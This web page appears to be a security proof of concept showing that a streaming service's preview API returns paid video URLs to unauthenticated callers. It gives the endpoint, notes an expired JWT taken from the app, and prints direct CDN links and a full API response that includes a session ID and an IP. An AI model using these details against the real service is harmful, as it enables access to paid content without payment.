SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Snake And Crane – Arts Of Shaolin with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Snake And Crane – Arts Of Shaolin
Vj Muba Action 01h 41m 4 years ago

Chan stars as the wanderer Hsu Ying Fung, who quickly makes it known (with some help) that he possesses the “Eight Steps of the Snake and Crane”, a martial arts book illustrating the ultimate kung fu style. The book was written by eight Shaolin masters shortly before their disappearance, and Hsu is suspected of killing them, or at least knowing what happened. In reality, Hsu is looking for the man responsible for the masters’ disappearance, whom he will know by a certain mark. After several fights, and encounters with the leaders of many fighting clans (all of whom want the book and are willing to offer a variety of things for it), Hsu is betrayed, hurt, and eventually captured. He escapes with an unlikely ally in tow, while

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/20182/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 35
video_name Snake.And.Crane.Arts.Of.Shaolin..mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 20182,
    "video_title": "Snake And Crane \u2013 Arts Of Shaolin",
    "description": " Chan stars as the wanderer Hsu Ying Fung, who quickly makes it known (with some help) that he possesses the \u201cEight Steps of the Snake and Crane\u201d, a martial arts book illustrating the ultimate kung fu style. The book was written by eight Shaolin masters shortly before their disappearance, and Hsu is suspected of killing them, or at least knowing what happened. In reality, Hsu is looking for the man responsible for the masters\u2019 disappearance, whom he will know by a certain mark.\r\n\r\nAfter several fights, and encounters with the leaders of many fighting clans (all of whom want the book and are willing to offer a variety of things for it), Hsu is betrayed, hurt, and eventually captured. He escapes with an unlikely ally in tow, while ",
    "video_name": "Snake.And.Crane.Arts.Of.Shaolin..mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "35",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 41m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/736142549087.jpg",
    "tfilehistory": "",
    "category_id": 1,
    "language_id": 1,
    "recording_date": "2022-01-14",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 1,
    "series_code": "20182",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "846.36 MB",
    "create_date": "2022-01-14 13:21:53",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 31,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "6075.000000",
    "issubscriber": false,
    "genre": "Action",
    "vjname": "Vj Muba",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "4 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}